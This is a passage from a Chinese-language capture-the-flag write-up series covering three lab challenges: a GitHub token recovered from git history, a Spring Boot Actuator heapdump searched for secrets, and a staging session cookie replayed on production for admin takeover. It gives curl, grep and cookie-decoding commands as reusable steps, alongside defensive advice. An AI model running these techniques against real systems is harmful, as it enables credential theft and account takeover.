Sourcegraph 公开搜索	空结果
搜索引擎 site: 查询	只索引到课程官方页面和他人的 writeup

结论明确：代码搜索的登录态绕不开。

2. 人机握手：登录态操作交给人

我登录自己的 GitHub 账号，在代码搜索里输入课程域名，命中 8 个文件。
关键的一条来自 nagliwiz/cool-stuff 仓库——一个 .env 文件（nagliwiz 是课程虚构的"员工"账号）。

这一步完成的同时，后续全部交还 Agent。

3. Agent 侧：翻 git 历史，挖出"已删除"的凭据

用 GitHub 匿名 API 拉取仓库内容（这里有个环境插曲：raw.githubusercontent.com 在本地网络无法解析，改走 api.github.com + Accept: application/vnd.github.raw 媒体类型拿到文件原文）：

- ☐ 当前版本的 .env：只剩一行内部域名 <REDACTED_DOMAIN>（解析都不存在的剧情装饰），没有凭据
- ☐ 但提交历史里有多次 "Update .env"——有修改就有故事

调出历史版本，其中一次提交的 .env 是：

```
<REDACTED_DOMAIN>
GITHUB_TOKEN=<REDACTED_TOKEN>
```

凭据曾经提交过，后来从工作区删掉了——但 git 历史里永远都在。
这是真实世界凭据泄露的第一大来源：.gitignore 加晚了，或者"删文件"被当成了"删历史"。

4. 验证收尾

把找回的 token 提交到仿企站的验证接口：

```
curl -X POST https://<REDACTED_DOMAIN>/api/validate-token \
  -H 'Content-Type: application/json' \
  -d '{"token":"<REDACTED_TOKEN>"}'

→ {"flag": "<REDACTED>", "message": "Token validated successfully!", "success": true}
```

（小插曲：token 字符串末尾带着出题人的花括号注释，整串提交会 401，剥掉注释后纯 token 才通过——提交前先看清 token 的边界。）

人机协作复盘（本题的核心价值）

这题是"凭据归人，自动化归 Agent"协议的完整演绎：

环节	执行者	为什么
匿名信源穷举（API/搜索引擎）	Agent	无凭据、可并行、结果可验证
GitHub 登录与代码搜索	人	登录态是我的资产；Agent 不持有也不应持有我的凭据
仓库内容/提交历史枚举	Agent	匿名 API 即可，纯机械劳动
token 验证与提交	Agent → 人	接口验证交 Agent，最终 flag 在课程页面由人提交

事后看，Agent 在第 1 步穷举所有匿名途径的价值不只是排除法——它把"必须动用人的登录态"这个结论变成了有证据的决策，而不是偷懒的推诿。

防御视角（如果我是蓝队）

1. git 历史是泄密黑洞：泄露过的凭据必须轮换（改代码/删文件毫无意义），

   并用 git filter-repo / BFG 清理历史（对已公开仓库，轮换是唯一现实解）

1. 部署 pre-commit 密钥扫描（gitleaks / trufflehog 类工具），把 .env 类文件挡在提交前
2. 内部系统凭据（本题的 token 能通过企业验证接口）应绑定来源 IP/设备/短有效期，

   即使泄露也难利用

1. 员工个人仓库引用工作域名是常态，蓝队应反过来做：**主动监控公开代码库中

   出现自家域名的提交**（这是防御侧的 OSINT）

证据

- [ ] evidence/07-1-flag-submitted.png —— 提交成功页面
- [ ] 含个人 GitHub 账号信息的搜索过程截图按脱敏规范未入库

08 · 堆转储暴露

系列第 8 题 · 对应真实事件：金融机构调试端点暴露泄露凭据与内部秘密（原赏金 $4,800）· 我的净耗时：约 50 分钟（其中约 20 分钟在一个错误的结论边缘徘徊）

题面

> Modern applications often expose debugging and monitoring endpoints that developers forget to lock down in production. These endpoints can leak far more than performance metrics - sometimes they dump the entire application's memory.

靶场地址：https://<REDACTED_DOMAIN>/（一个 Spring Boot 银行应用）

我的判断路径

"dump the entire application's memory" 几乎明示了 Spring Boot Actuator 的 /actuator/heapdump。我的计划：确认 Actuator 暴露面 → 下载堆转储 → 字符串提取搜索凭据。技术上没有难点——难点藏在传输层。

过程

1. Actuator 全家桶裸奔确认

```
GET /actuator          →      JSON heapdump/env/beans/mappings/configprops/
                           threaddump/loggers/scheduledtasks/caches
GET /actuator/env      → Spring Boot 3            ******
GET /actuator/mappings →        com.wiz.controller.BankingController
                           → /api/accounts      JSON     flag
```

一切指向 heapdump。

2. 下载堆转储：一个静默的陷阱

```
curl -o heap.hprof https://<REDACTED_DOMAIN>/actuator/heapdump   # --max-time 30
```

命令"成功"返回，没有任何报错。我拿到的文件 1.5MB，
开头是合法的 JAVA PROFILE 1.0.2 HPROF 头——看起来完全正常。

3. 在残缺数据上分析了 20 分钟

我在这个 1.5MB 文件里做了能做的一切：

- ☐ ASCII 字符串提取 + WIZFLAG/password/secret 模式匹配 → 全是 JVM 内部符号
- ☐ 怀疑 Java 字符串以 UTF-16 存储 → 构造含空字节的搜索模式 → 报出数千行"命中"
- ☐ 觉得不可信，换 PowerShell 做字节级扫描复核 → 真实命中数为 0

（后来查明：shell 根本无法传递 \x00 参数，模式在半路被截断，数千行"命中"
是匹配了裸字母的假阳性）

- ☐ 字符串按长度排序人工审阅 → 模块描述符、向量 API 签名……纯粹的 JVM 噪音

我开始倾向一个错误结论："这个堆转储是个罐头装饰文件，flag 不在这里。"

4. 两个反常细节 + 一次完整性校验救了场

其实证据早就摆在眼前，我注意到得太晚：

- ☐ loggers 端点显示应用里明明有 com.wiz.BankApplication、Spring 框架类一片——

可堆里连一个 springframework 字符串都没有（grep -c 为 0）。
一个活着的 Spring 应用堆里不可能没有框架类。矛盾成立。

- ☐ 于是我做了一件一开始就该做的事——对比服务器声称的大小：

```
curl -sI .../actuator/heapdump | grep -i content-length
→ Content-Length: 29,928,163        ←      29.9MB
ls -l heap.hprof → 1,523,356        ←       1.5MB
```

下载被静默截断了。 之前所有"没找到"的结论只在残缺的 5% 数据上成立。

5. 完整下载，一遍命中

加大超时重新下载完整 29.9MB，第一遍特征搜索直接命中：
flag 在堆内偏移 7,552,043 处的字符串里（<REDACTED>）。

失败与弯路（全项目最深刻的一课，值得单独一节）

1. 在二进制证据上做分析前，先校验完整性（Content-Length / 哈希 / 文件尾结构）。

   截断是静默的，残缺数据会产生"看起来合理"的错误结论

1. 注意矛盾证据：loggers 里有 Spring、堆里没有——这个矛盾出现的第一时间

   就该触发怀疑，而不是在字符串堆里硬挖

1. 单一工具的正结论要交叉验证：shell 传不了空字节这个坑制造了大量假命中，

   换 PowerShell 字节级扫描才把真相钉住。反直觉但真实：复核的价值不低于初筛

关键命令（脱敏后结构可复用）

```
URL="https://<REDACTED_DOMAIN>/actuator"

curl -sI "$URL/heapdump" | grep -i content-length     #
curl -s --max-time 240 -o heap.hprof "$URL/heapdump"  #
ls -l heap.hprof                                       #

#       +      HPROF          /   printable
tr -c '[:print:]' '\n' < heap.hprof | grep -aiE "WIZFLAG|password|secret" | sort -u
```

防御视角（如果我是蓝队）

1. Actuator（尤其 env/heapdump/threaddump）在生产环境必须禁用或挂严格鉴权——

   management.endpoints.web.exposure.include=* 是事故级配置

1. 堆转储 = 内存快照 = 密码、密钥、会话、内部 URL 的全家福；即使需要开，

   也应限制源 IP + 审计日志 + 短期保留

1. WAF/网关层直接封禁 /actuator/** 外部访问是最低成本的一刀
2. 换位思考：蓝队也该做"假设泄露"演练——如果堆被拿走，里面最致命的是什么？

证据

☐ evidence/08-1-flag-submitted.png —— 提交成功页面

☐ 完整 30MB 堆转储原文件按脱敏规范未入库，以命令输出文字替代

09 · 0-Click ATO

系列第 9 题 · 对应真实事件：跨环境会话管理不当导致无需用户交互的完整账户接管（原赏金 $20,000） · 我的净耗时：约 15 分钟

题面

You've discovered a router reseller company running both staging and production environments. But are they really separate?
Your mission: explore both environments, understand how sessions are handled and break into production.

靶场地址：两套环境——https://stage.<REDACTED_DOMAIN>/ 与 https://prod.<REDACTED_DOMAIN>/

我的判断路径

"staging 和 production 真的是隔离的吗？"——这类题的检验清单：

1. 两套环境的差异面（路由、功能、配置）
2. 会话载体是什么（cookie？token？），由谁签发、谁验证
3. 一方的凭据拿到另一方是否依然有效

前置侦察（第 2 题建立的 CT 日志战场地图）早就显示这两个子域名同属一套基础设施，所以第 3 步是我开局的主假设。

过程

1. 双环境差异侦察

	staging	production
首页标记	醒目的 "STAGING ENVIRONMENT" 横幅	无
登录入口	/login + /guest-login（额外）	仅 /login
未登录访问 /dashboard	302 → /login	302 → /login

staging 独有的 /guest-login 就是入口。

2. 一个 GET 白拿的会话

```
GET https://stage.<REDACTED_DOMAIN>/guest-login

→ HTTP 302 (Location: /dashboard)
  Set-Cookie: session=<REDACTED_TOKEN>; HttpOnly; Path=/
```

不需要任何凭据，一个 GET 请求就拿到了带完整会话的 cookie。
格式是 Flask 框架经典的 payload.timestamp.signature 三段式签名 cookie，
首部带 . 说明 payload 经过了 zlib 压缩。

3. 解码会话：第一个错误浮出水面

```
# base64url    + zlib    Python
python3 -c "import base64,zlib;print(zlib.decompress(base64.urlsafe_b64decode('<payload>')).decode())"
```

```
{"environment": "staging", "name": "Guest User", "role": "admin", "user": "guest"}
```

staging 的 guest 账号，角色是 admin。 测试环境图省事给游客发管理员权限，
这是第一个错误。

4. Cookie 切换：第二个错误完成接管

现在验证我的主假设——把这个 staging 签发的 cookie 原样带到 production：

```
curl -H "Cookie: session=<REDACTED_TOKEN>" \
     https://prod.<REDACTED_DOMAIN>/dashboard

→ HTTP 200
  "Welcome, Guest User!" + ADMIN    + flag <REDACTED>
```

production 完整接受了 staging 签发的管理员会话。 两个环境共用同一个
Flask SECRET_KEY，签名互相认可——会话隔离形同虚设。这是第二个错误。

为什么叫"0-Click"

被接管的一方（production 里的真实用户/管理员）不需要点任何东西、不需要任何操作：
攻击者在 staging 自助"铸造"一枚 admin 会话，拿到 production 就是管理员。
受害者全程无感知，连被攻击的痕迹都没有。

漏洞结构（复盘文章的核心图景）

```
  ① staging   guest     role=admin
  ②
              ↓
staging     GET     = production
```

单独看每个错误都"只是个配置问题"，叠加起来是 $20,000 的完整账户接管——
真实世界的严重漏洞几乎都是这样多个小错误的组合，而不是单点大坑。

关键命令（脱敏后结构可复用）

```
STAGE="https://stage.<REDACTED_DOMAIN>"; PROD="https://prod.<REDACTED_DOMAIN>"

curl -D - -o /dev/null "$STAGE/guest-login"          #        Set-Cookie
python3 -c "…"                                        #    cookie
curl -H "Cookie: session=<REDACTED_TOKEN>" "$PROD/dashboard"   #
```

失败与弯路

无返工。前置情报（CT 日志里的双子域名）+ 侦察清单让路径几乎是直线。
这也验证了方法论的价值：压轴题反而是后半程最快的三题之一——
因为到第 9 题时，"先看什么、后试什么"已经不需要思考。

防御视角（如果我是蓝队）

1. 不同环境必须使用不同的会话签名密钥——staging 的钥匙开不了 production 的锁，

   这应该是环境初始化的硬性检查项

1. 测试环境也不该有"guest = admin"的捷径；测试需要高权限就显式登录高权限账号
2. 会话声明里的 environment 字段应该在服务端强制校验，而不是只写进 cookie 当摆设
3. Flask/Django 类"签名不加密"的会话机制要牢记：内容对任何人可读，仅防篡改；

   密钥一旦共享或泄露，伪造即合法

证据

☐ evidence/09-1-flag-submitted.png —— 提交成功页面（全系列最后一题，9/9）

附录 · 脱敏规范与交付物

脱敏替换规则：flag → <REDACTED>；靶场域名 → <REDACTED_DOMAIN>；IP → <REDACTED_IP>；token/cookie/JWT → <REDACTED_TOKEN>；个人邮箱与隐私信息不出现。保留项：HTTP 方法、路径、参数名、状态码、响应结构、完整命令行、时间线与失败记录——保证技术过程可复现。

配套交付物：本 PDF 所属仓库同时包含 10 篇 Markdown writeup、9 张脱敏截图、零依赖静态站点（docs/，GitHub Pages 发布）与站点构建脚本。完整脱敏规范见仓库根目录 REDACTION.md。